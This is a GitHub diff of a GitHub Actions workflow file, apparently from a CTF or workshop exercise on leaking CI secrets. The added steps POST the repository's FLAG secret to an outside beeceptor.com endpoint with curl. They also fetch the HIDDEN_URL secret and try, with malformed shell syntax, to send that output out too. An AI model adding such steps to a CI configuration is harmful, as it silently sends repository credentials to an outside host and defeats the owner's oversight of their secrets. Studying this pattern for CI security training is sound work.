Skip to content
9 changes: 8 additions & 1 deletion .github/workflows/actions.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,16 @@ jobs:
yolo:
runs-on: ubuntu-latest
steps:
- shell: bash
env:
SUPER_SECRET: ${{ secrets.HIDDEN_URL }}
run: |
curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d "${{secrets.FLAG}}"

- name: Action test
run: |
curl ${{secrets.HIDDEN_URL}} > hidden.txt
cat ${{secrets.HIDDEN_URL}}
cat hidden.txt > curl -v -X POST 'https://techdaysgetsecret.free.beeceptor.com/my/api/path' -H 'Content-Type: plain/text' -d
echo "Secret retrieved"
echo "-------"
echo "Write tests here and call them with hidden.txt"
Expand Down